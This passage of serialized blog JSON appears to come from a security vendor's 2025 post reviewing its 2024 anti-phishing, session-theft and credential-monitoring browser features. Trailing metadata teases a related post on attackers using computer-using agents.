",{"data":70048,"content":70049,"nodeType":883},{"uri":66091},[70050],{"data":70051,"marks":70052,"value":70054,"nodeType":864},{},[70053],{"type":1455},"our research on cross-IdP impersonation",{"data":70056,"marks":70057,"value":70058,"nodeType":864},{},[],", apps can be accessed using multiple SSO methods simultaneously — and 3 in 5 apps that we tested recently did not require re-verification by default when adding a new login method.",{"data":70060,"content":70064,"nodeType":996},{"target":70061},{"sys":70062},{"id":70063,"type":1001,"linkType":1002},"3EOOr4dVQoiPjl2ucUs1mA",[],{"data":70066,"content":70067,"nodeType":860},{},[70068,70072,70081],{"data":70069,"marks":70070,"value":70071,"nodeType":864},{},[],"Phishing is a problem that would be significantly reduced in a world without passwords. But while the ideal case is that organizations can put in place phishing-resistant authentication methods like passkeys or other WebAuthn-based methods, the reality is that ",{"data":70073,"content":70075,"nodeType":883},{"uri":70074},"https://www.ncsc.gov.uk/blog-post/passkeys-not-perfect-getting-better",[70076],{"data":70077,"marks":70078,"value":70080,"nodeType":864},{},[70079],{"type":1455},"it’s not a perfect solution right now",{"data":70082,"marks":70083,"value":70084,"nodeType":864},{},[]," — widespread passkey implementation is hard to achieve.",{"data":70086,"content":70087,"nodeType":860},{},[70088],{"data":70089,"marks":70090,"value":70091,"nodeType":864},{},[],"One of the key advantages of passkeys is that they are domain-bound: Meaning they can’t be used on a site with the wrong domain. So, we started thinking: What if it were possible to essentially domain-bind a password? ",{"data":70093,"content":70094,"nodeType":1312},{},[70095,70100],{"data":70096,"marks":70097,"value":70099,"nodeType":864},{},[70098],{"type":899},"What we built",{"data":70101,"marks":70102,"value":1171,"nodeType":864},{},[],{"data":70104,"content":70105,"nodeType":860},{},[70106,70110,70119],{"data":70107,"marks":70108,"value":70109,"nodeType":864},{},[],"In the first half of 2024, we delivered our ",{"data":70111,"content":70112,"nodeType":883},{"uri":65140},[70113],{"data":70114,"marks":70115,"value":70118,"nodeType":864},{},[70116,70117],{"type":1455},{"type":899},"SSO password protection",{"data":70120,"marks":70121,"value":70122,"nodeType":864},{},[]," feature, which allows Push administrators to block employees from entering their IdP password into any site that’s not the identity provider — in effect domain-binding SSO credentials. ",{"data":70124,"content":70125,"nodeType":860},{},[70126,70130,70139],{"data":70127,"marks":70128,"value":70129,"nodeType":864},{},[],"Push accomplishes this via the Push browser agent, which ",{"data":70131,"content":70133,"nodeType":883},{"uri":70132},"https://pushsecurity.com/help/10109/#how-does-sso-password-protection-work",[70134],{"data":70135,"marks":70136,"value":70138,"nodeType":864},{},[70137],{"type":1455},"observes and fingerprints",{"data":70140,"marks":70141,"value":70142,"nodeType":864},{},[]," the user’s SSO password and legitimate SSO login pages, and then enforces in-browser controls to prevent an SSO password from being submitted on any URL that doesn’t match the legitimate provider, an extremely strong anti-phishing protection. Separately, Push also verifies that passwords it observes are not easily guessable.",{"data":70144,"content":70145,"nodeType":860},{},[70146],{"data":70147,"marks":70148,"value":70149,"nodeType":864},{},[],"The idea behind this approach is to gain some similar benefits to passkeys — by ensuring that passwords used for SSO access to your apps cannot be phished and are unique and strong — but in a way that “just works” with existing password-based authentication. ",{"data":70151,"content":70152,"nodeType":860},{},[70153,70157,70165],{"data":70154,"marks":70155,"value":70156,"nodeType":864},{},[],"Organizations that monitor for SSO password reuse will find that the practice turns out to be incredibly widespread, so being able to detect and prevent password reuse — even outside of actual phishing attempts — is an asset to security teams. (Our ",{"data":70158,"content":70159,"nodeType":883},{"uri":13714},[70160],{"data":70161,"marks":70162,"value":70164,"nodeType":864},{},[70163],{"type":1455},"research shows",{"data":70166,"marks":70167,"value":70168,"nodeType":864},{},[]," that 10% of IdP accounts are using a password that is shared with another app — where it is much more likely to be compromised.) ",{"data":70170,"content":70174,"nodeType":996},{"target":70171},{"sys":70172},{"id":70173,"type":1001,"linkType":1002},"4Ce999wf4mqCZwu1jLofsx",[],{"data":70176,"content":70177,"nodeType":860},{},[70178,70182,70191],{"data":70179,"marks":70180,"value":70181,"nodeType":864},{},[],"By streaming events to your SIEM and setting up a simple automation, you can also use Push-supplied intelligence on SSO password reuse to ",{"data":70183,"content":70185,"nodeType":883},{"uri":70184},"https://pushsecurity.com/blog/automating-sso-password-resets-using-push/",[70186],{"data":70187,"marks":70188,"value":70190,"nodeType":864},{},[70189],{"type":1455},"automatically reset",{"data":70192,"marks":70193,"value":70194,"nodeType":864},{},[]," potentially compromised passwords — this provides instant response to successful phishing and gets rid of password re-use of your most sensitive credentials in one move - the kind of combo we love!",{"data":70196,"content":70197,"nodeType":1005},{},[],{"data":70199,"content":70200,"nodeType":1009},{},[70201],{"data":70202,"marks":70203,"value":70204,"nodeType":864},{},[],"Blocking AitM phishing and cloned login pages",{"data":70206,"content":70207,"nodeType":1312},{},[70208],{"data":70209,"marks":70210,"value":70029,"nodeType":864},{},[70211],{"type":899},{"data":70213,"content":70214,"nodeType":860},{},[70215],{"data":70216,"marks":70217,"value":70218,"nodeType":864},{},[],"When you’re able to detect SSO passwords being used in all the wrong places, it’s not surprising that one of the main offenders is phishing attacks. ",{"data":70220,"content":70221,"nodeType":860},{},[70222,70226,70234],{"data":70223,"marks":70224,"value":70225,"nodeType":864},{},[],"In 2024, we wrote extensively about the rise in ",{"data":70227,"content":70228,"nodeType":883},{"uri":56776},[70229],{"data":70230,"marks":70231,"value":70233,"nodeType":864},{},[70232],{"type":1455},"modern phishing attacks",{"data":70235,"marks":70236,"value":70237,"nodeType":864},{},[]," that use adversary-in-the middle toolkits (AiTM), including EvilNoVNC, Evilginx, and others.",{"data":70239,"content":70240,"nodeType":860},{},[70241,70245,70253],{"data":70242,"marks":70243,"value":70244,"nodeType":864},{},[],"AiTM phishing is a newer variant of phishing that allows attackers to bypass MFA protection by using tools that act as a proxy between the end-user and a legitimate login portal. AitM attacks increased 146% in 2023 (",{"data":70246,"content":70248,"nodeType":883},{"uri":70247},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/final/en-us/microsoft-brand/documents/Microsoft%20Digital%20Defense%20Report%202024%20%281%29.pdf",[70249],{"data":70250,"marks":70251,"value":28841,"nodeType":864},{},[70252],{"type":1455},{"data":70254,"marks":70255,"value":70256,"nodeType":864},{},[],").",{"data":70258,"content":70259,"nodeType":860},{},[70260],{"data":70261,"marks":70262,"value":70263,"nodeType":864},{},[],"This trend in tradecraft was reflected in our own customer base last year, but what’s interesting is that we observed a lot of phish kits and tactics that were new — meaning traditional detections failed to find them before Push did. ",{"data":70265,"content":70266,"nodeType":860},{},[70267,70271,70280],{"data":70268,"marks":70269,"value":70270,"nodeType":864},{},[],"In particular, we saw newer ",{"data":70272,"content":70274,"nodeType":883},{"uri":70273},"https://pushsecurity.com/blog/how-aitm-phishing-kits-evade-detection/",[70275],{"data":70276,"marks":70277,"value":70279,"nodeType":864},{},[70278],{"type":1455},"web-based obfuscation techniques",{"data":70281,"marks":70282,"value":70283,"nodeType":864},{},[]," that allowed attackers to get past the features of email security tools like web gateways and email scanning appliances, such as bypassing web sandbox analysis, and deter other forms of automated investigation by using Cloudflare Turnstile and other tactics — similar to the approaches legit websites use to protect against automated bots (this is essentially the same problem for both).",{"data":70285,"content":70286,"nodeType":860},{},[70287],{"data":70288,"marks":70289,"value":70290,"nodeType":864},{},[],"The gap in existing controls was obvious: When all phishing routes eventually lead to the browser, security teams need to be able to detect and respond in the browser. To do this well they need to observe what the employee sees, not what loads in a sandbox.",{"data":70292,"content":70293,"nodeType":1312},{},[70294],{"data":70295,"marks":70296,"value":70099,"nodeType":864},{},[70297],{"type":899},{"data":70299,"content":70300,"nodeType":860},{},[70301,70305,70315,70320],{"data":70302,"marks":70303,"value":70304,"nodeType":864},{},[],"To address this gap, we released new capabilities for the Push browser agent to be able to ",{"data":70306,"content":70308,"nodeType":883},{"uri":70307},"https://pushsecurity.com/blog/introducing-aitm-phishing-toolkit-detection-powered-by-the-push-browser/",[70309],{"data":70310,"marks":70311,"value":70314,"nodeType":864},{},[70312,70313],{"type":1455},{"type":899},"detect and block",{"data":70316,"marks":70317,"value":70319,"nodeType":864},{},[70318],{"type":899}," when a site is running AiTM phishing toolkits",{"data":70321,"marks":70322,"value":25428,"nodeType":864},{},[],{"data":70324,"content":70325,"nodeType":860},{},[70326],{"data":70327,"marks":70328,"value":70329,"nodeType":864},{},[],"Push does this via a set of readymade detections for common AiTM tools. By dynamically analyzing the behavior of malware in the browser, the Push browser agent can find indicators of compromise beyond just domains, file names, IP addresses, etc., focusing instead on behavioral attributes, such as Javascript calls being made or data structures saved to local storage.",{"data":70331,"content":70332,"nodeType":860},{},[70333,70337,70345],{"data":70334,"marks":70335,"value":70336,"nodeType":864},{},[],"This approach of focusing on the top of the ",{"data":70338,"content":70340,"nodeType":883},{"uri":70339},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/#id-building-effective-identity-threat-detection-controls_id-scenario-detecting-a-web-based-phishing-attack",[70341],{"data":70342,"marks":70343,"value":11824,"nodeType":864},{},[70344],{"type":1455},{"data":70346,"marks":70347,"value":70348,"nodeType":864},{},[]," — e.g. building detections for attributes of an attack that are the hardest for attackers to change, and therefore the most reliably accurate — is core to Push’s design philosophy. ",{"data":70350,"content":70351,"nodeType":860},{},[70352,70356,70366],{"data":70353,"marks":70354,"value":70355,"nodeType":864},{},[],"Finally, toward the second half of the year, we released ",{"data":70357,"content":70359,"nodeType":883},{"uri":70358},"https://pushsecurity.com/blog/introducing-cloned-login-page-detection/",[70360],{"data":70361,"marks":70362,"value":70365,"nodeType":864},{},[70363,70364],{"type":1455},{"type":899},"cloned login page detection",{"data":70367,"marks":70368,"value":70369,"nodeType":864},{},[],", a natural extension of our layered approach to preventing phishing attacks in the browser. With this security control, you can identify malicious webpages that are masquerading as legitimate IdP login portals. ",{"data":70371,"content":70375,"nodeType":996},{"target":70372},{"sys":70373},{"id":70374,"type":1001,"linkType":1002},"4y25OxesssUk9lzEx12HFa",[],{"data":70377,"content":70378,"nodeType":860},{},[70379],{"data":70380,"marks":70381,"value":70382,"nodeType":864},{},[],"When a cloned login page is detected, you can add the URL to your blocklist in Push and prevent any other employees from being targeted. ",{"data":70384,"content":70385,"nodeType":860},{},[70386,70390,70399],{"data":70387,"marks":70388,"value":70389,"nodeType":864},{},[],"By layering multiple anti-phishing controls that all prevent account takeover, defenders have the best chance at thwarting the ",{"data":70391,"content":70393,"nodeType":883},{"uri":70392},"https://pushsecurity.com/blog/shifting-detection-left-for-more-effective-itdr/",[70394],{"data":70395,"marks":70396,"value":70398,"nodeType":864},{},[70397],{"type":1455},"short, fast attack chains",{"data":70400,"marks":70401,"value":70402,"nodeType":864},{},[]," that are emblematic of today’s identity attacks.",{"data":70404,"content":70405,"nodeType":1005},{},[],{"data":70407,"content":70408,"nodeType":1009},{},[70409],{"data":70410,"marks":70411,"value":70412,"nodeType":864},{},[],"Defending against stolen sessions and stolen credentials",{"data":70414,"content":70415,"nodeType":860},{},[70416,70420,70427],{"data":70417,"marks":70418,"value":70419,"nodeType":864},{},[],"With as little as $10 to buy a stolen password and a little skill, attackers capitalized on the use of stolen credentials last year. Stolen creds were the No. 1 attacker action in 2023 and 2024, according to ",{"data":70421,"content":70422,"nodeType":883},{"uri":4408},[70423],{"data":70424,"marks":70425,"value":56111,"nodeType":864},{},[70426],{"type":1455},{"data":70428,"marks":70429,"value":2924,"nodeType":864},{},[],{"data":70431,"content":70432,"nodeType":860},{},[70433,70437,70445],{"data":70434,"marks":70435,"value":70436,"nodeType":864},{},[],"Nowhere was this more plain than in the ",{"data":70438,"content":70439,"nodeType":883},{"uri":3751},[70440],{"data":70441,"marks":70442,"value":70444,"nodeType":864},{},[70443],{"type":1455},"attacks on Snowflake customers",{"data":70446,"marks":70447,"value":70448,"nodeType":864},{},[],", one of the biggest breaches of last year. In this incident, cyber criminals targeted around 165 customers of the cloud-based data warehouse tool Snowflake by taking over accounts using credentials harvested from infostealer infections dating as far back as 2020.",{"data":70450,"content":70451,"nodeType":860},{},[70452],{"data":70453,"marks":70454,"value":70455,"nodeType":864},{},[],"The Snowflake incident underscored the challenges of control and visibility that security teams face when attempting to secure identities on a patchwork of managed and unmanaged apps:",{"data":70457,"content":70458,"nodeType":941},{},[70459,70469,70479,70489,70499],{"data":70460,"content":70461,"nodeType":945},{},[70462],{"data":70463,"content":70464,"nodeType":860},{},[70465],{"data":70466,"marks":70467,"value":70468,"nodeType":864},{},[],"Do I know all the workforce accounts my employees use?",{"data":70470,"content":70471,"nodeType":945},{},[70472],{"data":70473,"content":70474,"nodeType":860},{},[70475],{"data":70476,"marks":70477,"value":70478,"nodeType":864},{},[],"Do those accounts have a strong security posture?",{"data":70480,"content":70481,"nodeType":945},{},[70482],{"data":70483,"content":70484,"nodeType":860},{},[70485],{"data":70486,"marks":70487,"value":70488,"nodeType":864},{},[],"Do those accounts use MFA? The most phishing-resistant methods?",{"data":70490,"content":70491,"nodeType":945},{},[70492],{"data":70493,"content":70494,"nodeType":860},{},[70495],{"data":70496,"marks":70497,"value":70498,"nodeType":864},{},[],"Do I have tools to detect, respond, and remediate after an account takeover or breach of a critical software vendor?",{"data":70500,"content":70501,"nodeType":945},{},[70502],{"data":70503,"content":70504,"nodeType":860},{},[70505],{"data":70506,"marks":70507,"value":70508,"nodeType":864},{},[],"Do I know when a session has been stolen, pointing to a device compromised by infostealer malware?",{"data":70510,"content":70511,"nodeType":860},{},[70512],{"data":70513,"marks":70514,"value":70515,"nodeType":864},{},[],"Here’s what we delivered last year to make it easier for security teams to protect their organizations from the threat of stolen sessions and stolen creds.",{"data":70517,"content":70518,"nodeType":1005},{},[],{"data":70520,"content":70521,"nodeType":1009},{},[70522],{"data":70523,"marks":70524,"value":70525,"nodeType":864},{},[],"Detecting stolen sessions",{"data":70527,"content":70528,"nodeType":1312},{},[70529],{"data":70530,"marks":70531,"value":70029,"nodeType":864},{},[70532],{"type":899},{"data":70534,"content":70535,"nodeType":860},{},[70536,70539,70548],{"data":70537,"marks":70538,"value":21,"nodeType":864},{},[],{"data":70540,"content":70542,"nodeType":883},{"uri":70541},"https://pushsecurity.com/blog/what-the-rise-of-infostealers-says-about-identity-attacks/",[70543],{"data":70544,"marks":70545,"value":70547,"nodeType":864},{},[70546],{"type":1455},"Infostealer malware",{"data":70549,"marks":70550,"value":70551,"nodeType":864},{},[]," — a type of malware designed to collect user credentials, including session cookies, from end-user devices — had a very successful 2024, accounting for nearly 10 percent of activity that Red Canary was able to associate with named threats, and the majority of all detected malware that Sophos threat researchers documented last year.",{"data":70553,"content":70554,"nodeType":860},{},[70555,70559,70568],{"data":70556,"marks":70557,"value":70558,"nodeType":864},{},[],"While the use of stolen credentials is rampant, often facilitated by successful infostealer campaigns, a related attack type also ",{"data":70560,"content":70562,"nodeType":883},{"uri":70561},"https://pushsecurity.com/blog/what-the-rise-of-infostealers-says-about-identity-attacks/#id-the-state-of-infostealers-today",[70563],{"data":70564,"marks":70565,"value":70567,"nodeType":864},{},[70566],{"type":1455},"jumped in prevalence",{"data":70569,"marks":70570,"value":70571,"nodeType":864},{},[]," last year: session token theft attacks.",{"data":70573,"content":70574,"nodeType":860},{},[70575],{"data":70576,"marks":70577,"value":70578,"nodeType":864},{},[],"Using stolen tokens, adversaries don’t need to bypass MFA directly. They can simply import the tokens into their browser and assume an already authorized session. ",{"data":70580,"content":70581,"nodeType":1312},{},[70582],{"data":70583,"marks":70584,"value":70099,"nodeType":864},{},[70585],{"type":899},{"data":70587,"content":70588,"nodeType":860},{},[70589],{"data":70590,"marks":70591,"value":70592,"nodeType":864},{},[],"In order to detect a stolen session in use, you need telemetry that allows you to tie activity to a trusted endpoint. This didn’t previously exist, and you have to be in the browser to do it. So that’s what we built. ",{"data":70594,"content":70595,"nodeType":860},{},[70596,70599,70609],{"data":70597,"marks":70598,"value":1238,"nodeType":864},{},[],{"data":70600,"content":70602,"nodeType":883},{"uri":70601},"https://pushsecurity.com/blog/introducing-session-token-theft-detection-why-browser-is-best/",[70603],{"data":70604,"marks":70605,"value":70608,"nodeType":864},{},[70606,70607],{"type":1455},{"type":899},"session theft detection",{"data":70610,"marks":70611,"value":70612,"nodeType":864},{},[]," capability uses the power of the Push browser extension to inject a unique marker into the user-agent string of sessions that occur in browsers enrolled in Push. ",{"data":70614,"content":70615,"nodeType":860},{},[70616],{"data":70617,"marks":70618,"value":70619,"nodeType":864},{},[],"By analyzing logs from your IdP in your SIEM, you can then identify activity from the same session that both has and that lacks the Push marker, indicating that a session has been extracted from the browser and maliciously imported into a different browser that is not enrolled in Push.",{"data":70621,"content":70622,"nodeType":860},{},[70623],{"data":70624,"marks":70625,"value":70626,"nodeType":864},{},[],"This is a reliable signal that a stolen session token is being used and an endpoint has been compromised.",{"data":70628,"content":70632,"nodeType":996},{"target":70629},{"sys":70630},{"id":70631,"type":1001,"linkType":1002},"1XNNkaoW64t3PPvC54KGXF",[],{"data":70634,"content":70638,"nodeType":996},{"target":70635},{"sys":70636},{"id":70637,"type":1001,"linkType":1002},"6dOEnPzZXd9DqeSdalqlzO",[],{"data":70640,"content":70641,"nodeType":1005},{},[],{"data":70643,"content":70644,"nodeType":1009},{},[70645],{"data":70646,"marks":70647,"value":70648,"nodeType":864},{},[],"Detecting compromised credentials",{"data":70650,"content":70651,"nodeType":1312},{},[70652],{"data":70653,"marks":70654,"value":70029,"nodeType":864},{},[70655],{"type":899},{"data":70657,"content":70658,"nodeType":860},{},[70659],{"data":70660,"marks":70661,"value":70662,"nodeType":864},{},[],"Alongside stolen session cookies, stolen credentials made a lot of headlines last year. The 2024 Verizon DBIR found that 79% of web application compromises were the result of breached creds, and researchers at IBM found a 71% year-over-year increase in cyberattacks using stolen or compromised credentials.",{"data":70664,"content":70665,"nodeType":860},{},[70666,70670,70679],{"data":70667,"marks":70668,"value":70669,"nodeType":864},{},[],"In Push’s own research, we counted ",{"data":70671,"content":70673,"nodeType":883},{"uri":70672},"https://pushsecurity.com/blog/2024-identity-breaches/",[70674],{"data":70675,"marks":70676,"value":70678,"nodeType":864},{},[70677],{"type":1455},"30 public identity-related breaches",{"data":70680,"marks":70681,"value":70682,"nodeType":864},{},[]," in 2024 where the breach and the breach vector were disclosed. Of those, nearly three-quarters were the result of compromised credentials, including notable breaches such as Microsoft, Change Healthcare, and the attacks on Snowflake customers.",{"data":70684,"content":70685,"nodeType":1116},{},[70686],{"data":70687,"content":70688,"nodeType":860},{},[70689],{"data":70690,"marks":70691,"value":70692,"nodeType":864},{},[],"73% of public identity-related breaches in 2024 were the result of compromised credentials (the rest were phishing attacks). ",{"data":70694,"content":70695,"nodeType":860},{},[70696,70700,70708],{"data":70697,"marks":70698,"value":70699,"nodeType":864},{},[],"The influx of compromised credentials has been amplified by the ",{"data":70701,"content":70702,"nodeType":883},{"uri":70541},[70703],{"data":70704,"marks":70705,"value":70707,"nodeType":864},{},[70706],{"type":1455},"rise of infostealers",{"data":70709,"marks":70710,"value":70711,"nodeType":864},{},[],", which contribute the vast majority of valid stolen credentials, alongside mass credential phishing campaigns and third-party data breach dumps. ",{"data":70713,"content":70714,"nodeType":860},{},[70715],{"data":70716,"marks":70717,"value":70718,"nodeType":864},{},[],"And while there’s no shortage of threat intelligence about stolen credentials for sale on the web, security teams struggle to separate the needle from the haystack because a large portion of TI on stolen creds is out of date.",{"data":70720,"content":70721,"nodeType":860},{},[70722],{"data":70723,"marks":70724,"value":70725,"nodeType":864},{},[],"In evaluating TI data here at Push, we reviewed 5,763 username and password combos that matched domains in use by Push customers. We found that less than 1% of the creds in a multi-vendor dataset were true positives. In other words, 99.5% of the stolen creds we checked were false positives at the time of review — illustrating the challenge security teams face when trying to extract actionable intelligence from this kind of data. ",{"data":70727,"content":70728,"nodeType":1116},{},[70729],{"data":70730,"content":70731,"nodeType":860},{},[70732],{"data":70733,"marks":70734,"value":70735,"nodeType":864},{},[],"99.5% of the findings in compromised credential feeds were found to be false positives.",{"data":70737,"content":70738,"nodeType":1312},{},[70739],{"data":70740,"marks":70741,"value":70099,"nodeType":864},{},[70742],{"type":899},{"data":70744,"content":70745,"nodeType":860},{},[70746],{"data":70747,"marks":70748,"value":70749,"nodeType":864},{},[],"Using its browser agent, Push assesses the strength of end-user passwords by creating and analyzing a truncated, salted SHA256 hash of the password for a given account. (These k-anonymized fingerprints are never seen by Push’s back-end and exist only in local browser extension storage.) ",{"data":70751,"content":70752,"nodeType":860},{},[70753,70757,70766],{"data":70754,"marks":70755,"value":70756,"nodeType":864},{},[],"These fingerprints give Push a directly observable source of truth for corporate creds, which allowed us to build a ",{"data":70758,"content":70759,"nodeType":883},{"uri":68809},[70760],{"data":70761,"marks":70762,"value":70765,"nodeType":864},{},[70763,70764],{"type":1455},{"type":899},"verified stolen credential detection",{"data":70767,"marks":70768,"value":70769,"nodeType":864},{},[]," capability last year that removes all false positives from TI sources to pinpoint only those stolen creds still actively in use by employees.",{"data":70771,"content":70775,"nodeType":996},{"target":70772},{"sys":70773},{"id":70774,"type":1001,"linkType":1002},"3BITHZvDadjHpOAqIn0g4w",[],{"data":70777,"content":70778,"nodeType":1005},{},[],{"data":70780,"content":70781,"nodeType":1009},{},[70782],{"data":70783,"marks":70784,"value":70785,"nodeType":864},{},[],"Reducing and securing shadow IT and account sprawl",{"data":70787,"content":70788,"nodeType":860},{},[70789],{"data":70790,"marks":70791,"value":70792,"nodeType":864},{},[],"You can think of this last part of the story as the ground from which the attack trends we’ve been talking about emerged: The shift to doing business almost entirely in the browser, and the resulting sprawl in accounts and unmanaged apps, leading to an explosion of internet-facing identities for threat actors to target.",{"data":70794,"content":70795,"nodeType":860},{},[70796],{"data":70797,"marks":70798,"value":70799,"nodeType":864},{},[],"Even in organizations with mature security practices, the challenge of getting 100% compliance with identity posture best practices is evident. Last year, Push researchers analyzed a data set of 300,000 accounts from our customer base and found that:",{"data":70801,"content":70802,"nodeType":941},{},[70803,70822,70841],{"data":70804,"content":70805,"nodeType":945},{},[70806],{"data":70807,"content":70808,"nodeType":860},{},[70809,70813,70818],{"data":70810,"marks":70811,"value":70812,"nodeType":864},{},[],"Organizations have ",{"data":70814,"marks":70815,"value":70817,"nodeType":864},{},[70816],{"type":899},"more apps and identities than they thought",{"data":70819,"marks":70820,"value":70821,"nodeType":864},{},[]," — an average of ~15 identities per employee and ~220 apps per organization.",{"data":70823,"content":70824,"nodeType":945},{},[70825],{"data":70826,"content":70827,"nodeType":860},{},[70828,70832,70837],{"data":70829,"marks":70830,"value":70831,"nodeType":864},{},[],"Many accounts ",{"data":70833,"marks":70834,"value":70836,"nodeType":864},{},[70835],{"type":899},"lack basic security protections",{"data":70838,"marks":70839,"value":70840,"nodeType":864},{},[],", with 37% of accounts lacking any form of MFA and ~9% of accounts using a password that is leaked, weak, or reused, making them especially susceptible to account takeover. On accounts where password is the only login method in use (e.g. not using SSO or any other federated login like OIDC), there was no MFA in use in 4 out of 5 cases.",{"data":70842,"content":70843,"nodeType":945},{},[70844],{"data":70845,"content":70846,"nodeType":860},{},[70847,70851,70856,70860,70867],{"data":70848,"marks":70849,"value":70850,"nodeType":864},{},[],"Security ",{"data":70852,"marks":70853,"value":70855,"nodeType":864},{},[70854],{"type":899},"gaps persist even with SSO",{"data":70857,"marks":70858,"value":70859,"nodeType":864},{},[]," accounts — with 10% of SSO-using accounts also having a local password, a risk for ",{"data":70861,"content":70862,"nodeType":883},{"uri":13726},[70863],{"data":70864,"marks":70865,"value":13731,"nodeType":864},{},[70866],{"type":1455},{"data":70868,"marks":70869,"value":70870,"nodeType":864},{},[],"; and 1 in 5 IdP accounts themselves missing MFA.",{"data":70872,"content":70873,"nodeType":860},{},[70874],{"data":70875,"marks":70876,"value":70877,"nodeType":864},{},[],"From our perspective, organizations need scalable controls, and they need easy-to-deploy tools that get them visibility of all their workforce identities, apps, and accounts alongside telemetry that makes the information actionable.",{"data":70879,"content":70880,"nodeType":860},{},[70881],{"data":70882,"marks":70883,"value":70884,"nodeType":864},{},[],"Push already provides a real-time inventory of all your accounts and apps, including internal corporate apps, and analyzes the security posture, login methods, and MFA status of those accounts to offer a comprehensive picture of your identity attack surface. ",{"data":70886,"content":70887,"nodeType":860},{},[70888],{"data":70889,"marks":70890,"value":70891,"nodeType":864},{},[],"To help customers enforce their security policies even more seamlessly, here’s what we built last year:",{"data":70893,"content":70894,"nodeType":1312},{},[70895],{"data":70896,"marks":70897,"value":70899,"nodeType":864},{},[70898],{"type":899},"1. App banners",{"data":70901,"content":70902,"nodeType":860},{},[70903,70907,70917],{"data":70904,"marks":70905,"value":70906,"nodeType":864},{},[],"With a range of modes from informing to blocking, ",{"data":70908,"content":70910,"nodeType":883},{"uri":70909},"https://pushsecurity.com/help/10106#start",[70911],{"data":70912,"marks":70913,"value":70916,"nodeType":864},{},[70914,70915],{"type":1455},{"type":899},"app banners",{"data":70918,"marks":70919,"value":70920,"nodeType":864},{},[]," allow security teams to communicate best practices and policies with end-users directly in their browser. It works by displaying a banner with your custom message on the login and signup pages for workplace apps. ",{"data":70922,"content":70923,"nodeType":860},{},[70924],{"data":70925,"marks":70926,"value":70927,"nodeType":864},{},[],"Using configuration rules, you can set conditions for how banner controls get applied. Common use cases include: Restricting use of GenAI software; carving out an exception for admins on a specific app; reminding users to log in with SSO instead of a password, and others. ",{"data":70929,"content":70933,"nodeType":996},{"target":70930},{"sys":70931},{"id":70932,"type":1001,"linkType":1002},"4RPHmeMLyZmb5V8rXYLtey",[],{"data":70935,"content":70936,"nodeType":1312},{},[70937,70942],{"data":70938,"marks":70939,"value":70941,"nodeType":864},{},[70940],{"type":899},"2. Password manager identification",{"data":70943,"marks":70944,"value":1171,"nodeType":864},{},[],{"data":70946,"content":70947,"nodeType":860},{},[70948,70952,70962],{"data":70949,"marks":70950,"value":70951,"nodeType":864},{},[],"We also expanded Push’s capability to observe employees’ account security posture by adding an identification of ",{"data":70953,"content":70955,"nodeType":883},{"uri":70954},"https://pushsecurity.com/blog/stop-users-saving-corp-creds-into-personal-password-managers/",[70956],{"data":70957,"marks":70958,"value":70961,"nodeType":864},{},[70959,70960],{"type":1455},{"type":899},"which password manager",{"data":70963,"marks":70964,"value":70965,"nodeType":864},{},[]," (if any) they’re using. ",{"data":70967,"content":70968,"nodeType":860},{},[70969],{"data":70970,"marks":70971,"value":70972,"nodeType":864},{},[],"We’ve heard from many security teams that they’re concerned about corporate credentials being stored in unapproved password managers — not to mention the ROI from ensuring employees are all using the corporate password manager you already pay for. This feature helps them achieve both objectives.",{"data":70974,"content":70975,"nodeType":1312},{},[70976],{"data":70977,"marks":70978,"value":70980,"nodeType":864},{},[70979],{"type":899},"3. MFA enforcement",{"data":70982,"content":70983,"nodeType":860},{},[70984,70988,70997],{"data":70985,"marks":70986,"value":70987,"nodeType":864},{},[],"Finally, we rounded out 2024 with a new security control called ",{"data":70989,"content":70990,"nodeType":883},{"uri":69161},[70991],{"data":70992,"marks":70993,"value":70996,"nodeType":864},{},[70994,70995],{"type":1455},{"type":899},"MFA enforcement",{"data":70998,"marks":70999,"value":71000,"nodeType":864},{},[]," that builds on the popular app banners concept by detecting when users lack MFA and then prompting them to register for MFA. ",{"data":71002,"content":71003,"nodeType":860},{},[71004],{"data":71005,"marks":71006,"value":71007,"nodeType":864},{},[],"Admins choose which apps they wish to enforce MFA on, and the Push extension does the rest. ",{"data":71009,"content":71010,"nodeType":860},{},[71011],{"data":71012,"marks":71013,"value":71014,"nodeType":864},{},[],"Security teams we work with are especially eager to use this feature to close MFA coverage gaps on non-SSO and otherwise unmanaged applications.",{"data":71016,"content":71020,"nodeType":996},{"target":71017},{"sys":71018},{"id":71019,"type":1001,"linkType":1002},"4imhff7SWJi2Gan5iFEs2P",[],{"data":71022,"content":71023,"nodeType":1005},{},[],{"data":71025,"content":71026,"nodeType":1009},{},[71027],{"data":71028,"marks":71029,"value":71030,"nodeType":864},{},[],"Want to see more?",{"data":71032,"content":71033,"nodeType":860},{},[71034,71038,71044],{"data":71035,"marks":71036,"value":71037,"nodeType":864},{},[],"There’s a lot we didn’t touch on here that Push can help you achieve. If you’d like to learn more, ",{"data":71039,"content":71040,"nodeType":883},{"uri":5642},[71041],{"data":71042,"marks":71043,"value":69855,"nodeType":864},{},[],{"data":71045,"marks":71046,"value":69859,"nodeType":864},{},[],"How real-world attacks and research drove Push’s most popular features of 2024","How in-the-wild attacks and our own R&D inspired what we built in 2024 to stop account takeover and reduce security risks across your workforce identities. ","2025-01-16T00:00:00.000Z","push-features-2024",{"items":71052},[71053,71055],{"sys":71054,"name":342},{"id":6596},{"sys":71056,"name":297},{"id":2732},{"items":71058},[71059],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":71060},{"url":853},"5-ways-attackers-can-use-computer-using-agents-to-automate-identity-attacks","blog/5-ways-attackers-can-use-computer-using-agents-to-automate-identity-attacks",{"json":71064},{"data":71065,"content":71066,"nodeType":856},{},[71067],{"data":71068,"content":71069,"nodeType":860},{},[71070],{"data":71071,"marks":71072,"value":71073,"nodeType":864},{},[],"We recently blogged about the security implications of Computer-Using Agents (CUAs) like OpenAI Operator. We got pretty hooked on this new development and went off to do some closer research. Now, we’re back with part two to share what we found. Let’s dive in. ","We're back with part 2 of our research into OpenAI Operator to share our findings on how it can be used to automate identity attacks. 